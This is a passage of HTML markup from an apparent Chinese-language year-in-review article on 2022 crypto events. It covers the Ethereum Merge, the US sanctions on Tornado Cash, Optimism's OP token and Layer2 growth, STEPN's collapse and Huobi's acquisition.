0);white-space: normal;line-height: 2em;"><span style="font-size: 16px;letter-spacing: 1px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;color: rgb(84, 84, 84);">合并后，以太坊在区块结构、网络结构、共识机制和节点类型上均出现相应变化。</span></section><section style="margin: 24px 8px 16px;font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;line-height: 2em;"><span style="font-size: 16px;letter-spacing: 1px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;color: rgb(84, 84, 84);">新区块可以视为信标区块与原PoW块的组合，其中与PoW共识相关的区块字段会相应的修改为0或常数；网络结构将采用“共识层+执行层”的架构，由共识层协调和指挥执行层生成和同步区块；合并后，以太坊节点种类会更加丰富。</span></section><section style="margin: 24px 8px 16px;font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;line-height: 2em;"><span style="font-size: 16px;letter-spacing: 1px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;color: rgb(84, 84, 84);">无状态节点的加入既有助于保持网络的去中心化程度，还能为未来的分片架构做准备。</span></section><p style="text-align: center;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="1.3152777777777778" data-s="300,640" style="" data-type="png" data-w="720" src="https://wechat2rss.xlab.app/img-proxy/?k=b4a65a47&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fe9yMd8aXldf5Zh7T13QShUrCVnFdYQK0AhzsXlH00nGr6norDkWN0J7ap3BIy03t2vdb4sUZV9ia3XSzjYCSKPA%2F640%3Fwx_fmt%3Dpng"/></p><section style="margin: 24px 8px 16px;font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;line-height: 2em;"><span style="font-size: 16px;letter-spacing: 1px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;color: rgb(84, 84, 84);">以太坊合并是对加密货币市场具有里程碑意义的重大事件：对以太坊来说，合并是奠性能提升的关键一步，转向权益证明机制为以太坊后续的分片扩容提供了基础条件。</span></section><section style="margin: 24px 8px 16px;font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;line-height: 2em;"><span style="font-size: 16px;letter-spacing: 1px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;color: rgb(84, 84, 84);">不仅如此，合并后ETH的发行率将大幅下降，加上EIP-1559的销毁，未来ETH极可能进入通缩。对行业来说，合并意味着大规模显卡挖矿时代结束，矿工不得不涌向替代链或就此退出。</span></section><section style="margin: 24px 8px 16px;font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;line-height: 2em;"><span style="font-size: 16px;letter-spacing: 1px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;color: rgb(84, 84, 84);">随着以太坊慢慢补齐性能短板，未来势必会挤压其它PoS公链生态。从更深层次的方面来说，合并是以太坊响应全球减少碳足迹号召的重要改变。</span></section><section style="margin: 24px 8px 16px;font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;line-height: 2em;"><span style="font-size: 16px;letter-spacing: 1px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;color: rgb(84, 84, 84);">比特币的经久不衰让行业见证了PoW机制的强健性，但其要求不断运行矿机来反复计算直到找到符合要求的哈希值对能源有巨大的消耗。</span></section><section style="margin: 24px 8px 16px;font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;line-height: 2em;"><span style="font-size: 16px;letter-spacing: 1px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;color: rgb(84, 84, 84);">以太坊过渡为权益证明后，每年的全球能源消耗也将因此减少约0.4%。</span></section><h2 style="margin: 24px 8px 16px;break-after: avoid;font-family: Arial;font-size: 16pt;color: rgb(0, 0, 0);white-space: normal;line-height: 2em;"><span style="font-size: 16px;letter-spacing: 1px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;color: rgb(84, 84, 84);"><strong><br mpa-from-tpl="t"/></strong></span></h2><section data-mpa-template="t" mpa-from-tpl="t"><section data-id="85855" style="border-width: 0px;border-style: none;border-color: initial;" mpa-from-tpl="t"><section style="text-align: center;margin: 10px auto;" mpa-from-tpl="t"><section style="border-top: 2px solid;border-bottom: 2px solid;padding-top: 4px;padding-right: 10px;padding-bottom: 4px;display: inline-block;" mpa-from-tpl="t"><section style="display: inline-block;float: left;width:60px;background-color: rgb(254,254,254);margin-top:-8px;" mpa-from-tpl="t"><section style="display: table;width: 100%;color: inherit;border-color: rgb(72, 192, 163);" data-width="100%" mpa-from-tpl="t"><section style="display: table-cell;line-height:1em;" mpa-from-tpl="t"><em style="color: #000000;font-size: 42px;" data-original-title="" title="">6</em></section></section></section><section style="color: rgb(72, 192, 163);float: left;" mpa-from-tpl="t"><span style="color: #000000;font-size: 18px;" data-brushtype="text">Dornado cash监督</span></section></section></section></section></section><section style="margin: 24px 8px 16px;font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;line-height: 2em;"><span style="font-size: 16px;letter-spacing: 1px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;color: rgb(84, 84, 84);">2022年8月8日，美国财政部外国资产控制办公室 （OFAC）将 Tornado Cash 及其关联的加密钱包地址添加到其“特别指定国民名单”（SDN）中，禁止美国公民与该协议或与之相关的任何以太坊地址进行交互，如果与SDN名单中的地址进行交互，相关人和实体都将会面临处罚（图）。</span></section><section style="margin: 24px 8px 16px;font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;line-height: 2em;"><span style="font-size: 16px;letter-spacing: 1px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;color: rgb(84, 84, 84);">根据 Tornado Cash 官方推特，其协议遭到以下相关机构制裁：</span></section><section style="margin: 24px 8px 16px;font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;line-height: 2em;"><span style="font-size: 16px;letter-spacing: 1px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;color: rgb(0, 122, 170);"><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 1px;font-size: 16px;font-weight: bold;">l</span><strong>Tornado Cash GitHub 页面关闭</strong></span></section><section style="margin: 24px 8px 16px;font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;line-height: 2em;"><span style="font-size: 16px;letter-spacing: 1px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;color: rgb(0, 122, 170);"><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 1px;font-size: 16px;font-weight: bold;">l</span><strong>Tornado Cash 贡献者账户查禁</strong></span></section><section style="margin: 24px 8px 16px;font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;line-height: 2em;"><span style="font-size: 16px;letter-spacing: 1px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;color: rgb(0, 122, 170);"><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 1px;font-size: 16px;font-weight: bold;">l</span><strong>Tornado Cash 协议中 USDC</strong></span></section><section style="margin: 24px 8px 16px;font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;line-height: 2em;"><span style="font-size: 16px;letter-spacing: 1px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;color: rgb(0, 122, 170);"><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 1px;font-size: 16px;font-weight: bold;">l</span><strong>RPC 请求遭 Infura、Alchemy 拒绝</strong></span></section><section style="margin: 24px 8px 16px;font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;line-height: 2em;"><span style="font-size: 16px;letter-spacing: 1px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;color: rgb(84, 84, 84);">Tornado Cash被禁的主要原因则是朝鲜黑客组织 Lazarus Group 利用Tornado Cash 进行大规模的洗钱，同时帮助非法活动洗钱多达70亿美金，对美国国家安全构成了威胁。此次被列入制裁名单的链上地址中总计有 4.37 亿美元的资产。</span></section><section style="margin: 24px 8px 16px;font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;line-height: 2em;"><span style="font-size: 16px;letter-spacing: 1px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;color: rgb(84, 84, 84);">针对此次制裁，大量的服务供应商与DeFi协议禁止对Tornado cash的访问以及相关钱包的封杀。</span></section><section style="margin: 24px 8px 16px;font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;line-height: 2em;"><span style="font-size: 16px;letter-spacing: 1px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;color: rgb(84, 84, 84);">Tornado Cash也引发了大量的讨论，包括区块链是否应该抗审查，加密货币行业是否应该迎合监管等，以太坊核心开发者也专门在开发者电话会议中详细讨论了国家级监管审查的应对策略等。</span></section><section style="margin: 24px 8px 16px;font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;line-height: 2em;"><span style="font-size: 16px;letter-spacing: 1px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;color: rgb(84, 84, 84);">Tornado Cash事件不仅促进了人们对隐私和监管两者之间冲突的深远思考，也标志着全球监管机构正式对DeFi的狂野西部展开了行动。</span></section><h2 style="margin: 24px 8px 16px;break-after: avoid;font-family: Arial;font-size: 16pt;color: rgb(0, 0, 0);white-space: normal;line-height: 2em;"><span style="font-size: 16px;letter-spacing: 1px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;color: rgb(84, 84, 84);"><strong><br mpa-from-tpl="t"/></strong></span></h2><section data-mpa-template="t" mpa-from-tpl="t"><section data-id="85855" style="border-width: 0px;border-style: none;border-color: initial;" mpa-from-tpl="t"><section style="text-align: center;margin: 10px auto;" mpa-from-tpl="t"><section style="border-top: 2px solid;border-bottom: 2px solid;padding-top: 4px;padding-right: 10px;padding-bottom: 4px;display: inline-block;" mpa-from-tpl="t"><section style="display: inline-block;float: left;width:60px;background-color: rgb(254,254,254);margin-top:-8px;" mpa-from-tpl="t"><section style="display: table;width: 100%;color: inherit;border-color: rgb(72, 192, 163);" data-width="100%" mpa-from-tpl="t"><section style="display: table-cell;line-height:1em;" mpa-from-tpl="t"><em style="color: #000000;font-size: 42px;" data-original-title="" title="">7</em></section></section></section><section style="color: rgb(72, 192, 163);float: left;" mpa-from-tpl="t"><span style="color: #000000;font-size: 18px;" data-brushtype="text">OP发币</span></section></section></section></section></section><section style="margin: 24px 8px 16px;font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;line-height: 2em;"><span style="font-size: 16px;letter-spacing: 1px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;color: rgb(84, 84, 84);">今年Layer2领域最大的事件就是主流的Optimistic Rollup协议Optimism发行了代币OP，推动了它本身和Layer2领域整体的逆市增长。</span></section><section style="margin: 24px 8px 16px;font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;line-height: 2em;"><span style="font-size: 16px;letter-spacing: 1px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;color: rgb(84, 84, 84);">2022年初，Layer2增速放缓。为了吸引用户和刺激增长，Layer2协议们各显身手。</span></section><section style="margin: 24px 8px 16px;font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;line-height: 2em;"><span style="font-size: 16px;letter-spacing: 1px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;color: rgb(84, 84, 84);">首先是在4月，头号Optimistic Rollup协议Arbitrum发布了名为 “The Arbitrum Odyssey “的生态探索活动，鼓励用户使用链上项目以获得NFT 奖励。用户热情高涨，不过由于活动太过火爆，超出了网络预设的承受能力，该活动不得不中止了。</span></section><section style="margin: 24px 8px 16px;font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;line-height: 2em;"><span style="font-size: 16px;letter-spacing: 1px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;color: rgb(84, 84, 84);">随后，Optimism官方宣布将发行原生代币OP并公布了经济模型。</span></section><section style="margin: 24px 8px 16px;font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;line-height: 2em;"><span style="font-size: 16px;letter-spacing: 1px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;color: rgb(84, 84, 84);">6月初，Optimism又宣布拿出占初始供应量5.4%的OP代币创建激励基金，以资助OP生态系统中的建设者和项目。</span></section><section style="margin: 24px 8px 16px;font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;line-height: 2em;"><span style="font-size: 16px;letter-spacing: 1px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;color: rgb(84, 84, 84);">这些举措助力Optimism的TVL（以ETH计算）在半年内增长了4倍多。</span></section><p style="text-align: center;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.25234375" data-s="300,640" style="" data-type="png" data-w="1280" src="https://wechat2rss.xlab.app/img-proxy/?k=52edc0e5&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fe9yMd8aXldf5Zh7T13QShUrCVnFdYQK0ol46WLc20uyr5ABWicvCdg3LYI2SNtJR8ZxCKNowzZzibu5HhIdA3c6Q%2F640%3Fwx_fmt%3Dpng"/></p><section style="margin: 24px 8px 16px;font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;line-height: 2em;"><span style="font-size: 16px;letter-spacing: 1px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;color: rgb(84, 84, 84);">Optimism是Rollup四大天团里第一个发行代币的，它的增长为其他协议做出了很好的示范。</span></section><section style="margin: 24px 8px 16px;font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;line-height: 2em;"><span style="font-size: 16px;letter-spacing: 1px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;color: rgb(84, 84, 84);">7月13日，ZK Rollup团队StarkWare连续发布3篇文章，宣布旗下产品StarkNet将要发行原生代币，并介绍了Token的应用场景、发行数量及分配情况等，而且表示StarkNet网络已经铸造了100亿枚代币，会将一部分分配给StarkNet生态的贡献者及相关投资人。</span></section><section style="margin: 24px 8px 16px;font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;line-height: 2em;"><span style="font-size: 16px;letter-spacing: 1px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;color: rgb(84, 84, 84);">至此，四大项目中的两大已经发行了代币或者有了明确的计划。剩下两家发币也是或早或晚的事。</span></section><section style="margin: 24px 8px 16px;font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;line-height: 2em;"><span style="font-size: 16px;letter-spacing: 1px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;color: rgb(84, 84, 84);">zkSync在官方的用户文档中就表态过将会发行Token，Arbitrum为了稳固自己头把交椅的位置，不发币怕是都不行。</span></section><section style="margin: 24px 8px 16px;font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;line-height: 2em;"><span style="font-size: 16px;letter-spacing: 1px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;color: rgb(84, 84, 84);">除了发行代币之外，在技术层面，Layer2也在持续迭代。Arbitrum在8月推出了 Nitro 网络升级，增加了网络吞吐量并降低交易成本。</span></section><section style="margin: 24px 8px 16px;font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;line-height: 2em;"><span style="font-size: 16px;letter-spacing: 1px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;color: rgb(84, 84, 84);">Optimism 宣布将在今年Q4上线重大升级 Bedrock，实现以太坊等效性、缩短L1到L2的存款时间、降低交易成本。</span></section><section style="margin: 24px 8px 16px;font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;line-height: 2em;"><span style="font-size: 16px;letter-spacing: 1px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;color: rgb(84, 84, 84);">StarkNet实现了 Rust-VM，极大降低了Rust 语言的开发者的门槛。zkSync 2.0的主网（第一阶段仅团队可用）将在11月上线。</span></section><section style="margin: 24px 8px 16px;font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;line-height: 2em;"><span style="font-size: 16px;letter-spacing: 1px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;color: rgb(84, 84, 84);">Layer2协议们通过技术升级持续提升性能和用户体验，通过代币引入更多种的手段让网络捕获价值，并激励开发者和用户。</span></section><section style="margin: 24px 8px 16px;font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;line-height: 2em;"><span style="font-size: 16px;letter-spacing: 1px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;color: rgb(84, 84, 84);">现在回头来看，Optimism发行代币的时间正是今年Layer2整体的TVL的拐点。</span></section><section style="margin: 24px 8px 16px;font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;line-height: 2em;"><span style="font-size: 16px;letter-spacing: 1px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;color: rgb(84, 84, 84);">在这之后，Layer的TVL增长了63%，成为了熊市中为数不多的还能实现增长的领域。</span></section><section style="margin: 24px 8px 16px;font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;line-height: 2em;"><span style="font-size: 16px;letter-spacing: 1px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;color: rgb(84, 84, 84);">今年的夏天称不上是“Layer2 Summer“，但Layer2已经显示出了强劲的生命力。在下一个盛夏，它们也许就会带来惊喜。</span></section><h2 style="margin: 24px 8px 16px;break-after: avoid;font-family: Arial;font-size: 16pt;color: rgb(0, 0, 0);white-space: normal;line-height: 2em;"><span style="font-size: 16px;letter-spacing: 1px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;color: rgb(84, 84, 84);"><strong><br mpa-from-tpl="t"/></strong></span></h2><section data-mpa-template="t" mpa-from-tpl="t"><section data-id="85855" style="border-width: 0px;border-style: none;border-color: initial;" mpa-from-tpl="t"><section style="text-align: center;margin: 10px auto;" mpa-from-tpl="t"><section style="border-top: 2px solid;border-bottom: 2px solid;padding-top: 4px;padding-right: 10px;padding-bottom: 4px;display: inline-block;" mpa-from-tpl="t"><section style="display: inline-block;float: left;width: 60px;background-color: rgb(254, 254, 254);margin-top: -8px;" mpa-from-tpl="t"><section style="display: table;width: 100%;color: inherit;border-color: rgb(72, 192, 163);" data-width="100%" mpa-from-tpl="t"><section style="display: table-cell;line-height:1em;" mpa-from-tpl="t"><span style="color: rgb(0, 0, 0);font-size: 42px;"><em>8</em></span></section></section></section><section style="color: rgb(72, 192, 163);float: left;" mpa-from-tpl="t"><span style="color: #000000;font-size: 18px;" data-brushtype="text">STEPN之后，X to EARN终局</span></section></section></section></section></section><section style="margin: 24px 8px 16px;font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;line-height: 2em;"><span style="font-size: 16px;letter-spacing: 1px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;color: rgb(84, 84, 84);">曾经拥有100万用户以及472万注册用户并能够在一个季度赚取高达 1.225 亿美元的利润，STEPN可以说是2022年GameFi 和X to Earn 最辉煌的项目之一。</span></section><section style="margin: 24px 8px 16px;font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;line-height: 2em;"><span style="font-size: 16px;letter-spacing: 1px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;color: rgb(84, 84, 84);">但是STEPN 还是最终陷入瓶颈，并步入死亡螺旋，为 2022年X-Earn的热潮画上句号。</span></section><p style="text-align: center;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.50234375" data-s="300,640" style="" data-type="png" data-w="1280" src="https://wechat2rss.xlab.app/img-proxy/?k=b9d6aa90&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fe9yMd8aXldf5Zh7T13QShUrCVnFdYQK09xDvovWkS1IF4nEOnaV84JqVOvkpdsKXAicSOriay0gu1LMribI5knrNw%2F640%3Fwx_fmt%3Dpng"/></p><section style="margin: 24px 8px 16px;font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;line-height: 2em;"><span style="font-size: 16px;letter-spacing: 1px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;color: rgb(84, 84, 84);">鼓励用户走路来赚取代币，是STEPN的核心。自从游戏推出后，STEPN便获得了币圈的宠爱，也吸引了很多Web2的新用户，很快便有爆炸性的增长。</span></section><section style="margin: 24px 8px 16px;font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;line-height: 2em;"><span style="font-size: 16px;letter-spacing: 1px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;color: rgb(84, 84, 84);">在 5 月达到顶峰时，STEPN拥有70万个活跃用户，占Solana 每日唯一付费用户的近 20%。STEPN在五月高峰期之后，活跃用户直线式下跌，新用户也在不断减少。</span></section><p style="text-align: center;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.3765625" data-s="300,640" style="" data-type="png" data-w="1280" src="https://wechat2rss.xlab.app/img-proxy/?k=8c8af3e5&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fe9yMd8aXldf5Zh7T13QShUrCVnFdYQK0NNwT2j8ibEEfguJiatBpQKsibDTibPXnBNpGmp65micV7j3FCwxD0RfpJEA%2F640%3Fwx_fmt%3Dpng"/></p><section style="margin: 24px 8px 16px;font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;line-height: 2em;"><span style="font-size: 16px;letter-spacing: 1px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;color: rgb(84, 84, 84);">STEPN衰落背后的原因除了加密货币市场熊市的影响以及LUNA崩盘引起加密恐慌的原因之外，还有STEPN在2022年7月宣布清退中国大陆用户，导致用户们纷纷出售有关STEPN的加密货币资产。</span></section><section style="margin: 24px 8px 16px;font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;line-height: 2em;"><span style="font-size: 16px;letter-spacing: 1px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;color: rgb(84, 84, 84);">STEPN的实用型代币GST在需求下降的情况下进入了失控的供应膨胀，导致其价格暴跌。</span></section><section style="margin: 24px 8px 16px;font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;line-height: 2em;"><span style="font-size: 16px;letter-spacing: 1px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;color: rgb(84, 84, 84);">STEPN 为X to Earn 开启了一个新的模式，导致STEPN急速发展的爆发点以及因为没有持续的用户增长而衰的问题也为未来其他X to Earn 的项目提供了参考价值。</span></section><h2 style="margin: 24px 8px 16px;break-after: avoid;font-family: Arial;font-size: 16pt;color: rgb(0, 0, 0);white-space: normal;line-height: 2em;"><span style="font-size: 16px;letter-spacing: 1px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;color: rgb(84, 84, 84);"><strong><br mpa-from-tpl="t"/></strong></span></h2><section data-mpa-template="t" mpa-from-tpl="t"><section data-id="85855" style="border-width: 0px;border-style: none;border-color: initial;" mpa-from-tpl="t"><section style="text-align: center;margin: 10px auto;" mpa-from-tpl="t"><section style="border-top: 2px solid;border-bottom: 2px solid;padding-top: 4px;padding-right: 10px;padding-bottom: 4px;display: inline-block;" mpa-from-tpl="t"><section style="display: inline-block;float: left;width:60px;background-color: rgb(254,254,254);margin-top:-8px;" mpa-from-tpl="t"><section style="display: table;width: 100%;color: inherit;border-color: rgb(72, 192, 163);" data-width="100%" mpa-from-tpl="t"><section style="display: table-cell;line-height:1em;" mpa-from-tpl="t"><em style="color: #000000;font-size: 42px;" data-original-title="" title="">9</em></section></section></section><section style="color: rgb(72, 192, 163);float: left;" mpa-from-tpl="t"><span style="color: #000000;font-size: 18px;" data-brushtype="text">Huobi收购</span></section></section></section></section></section><section style="margin: 24px 8px 16px;font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;line-height: 2em;"><span style="font-size: 16px;letter-spacing: 1px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;color: rgb(84, 84, 84);">作为曾经华语市场份额最大的交易所，Huobi在2022年10月初被香港百域资本旗下的并购基金正式收购，这可能是加密货币行业今年以来最大的并购案。</span></section><section style="margin: 24px 8px 16px;font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;line-height: 2em;"><span style="font-size: 16px;letter-spacing: 1px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;color: rgb(84, 84, 84);">Huobi集团成立于2013年，创始人为李林。伴随加密货币市场增长，Huobi交易所的市场份额逐步增大，在2017年后成为中文世界市场份额最大的交易所，整体生态布局处于行业领先地位，火币大学、火币投资等具有不错口碑。</span></section><section style="margin: 24px 8px 16px;font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;line-height: 2em;"><span style="font-size: 16px;letter-spacing: 1px;font-family: &#34;Helvetica Neue&#34;, 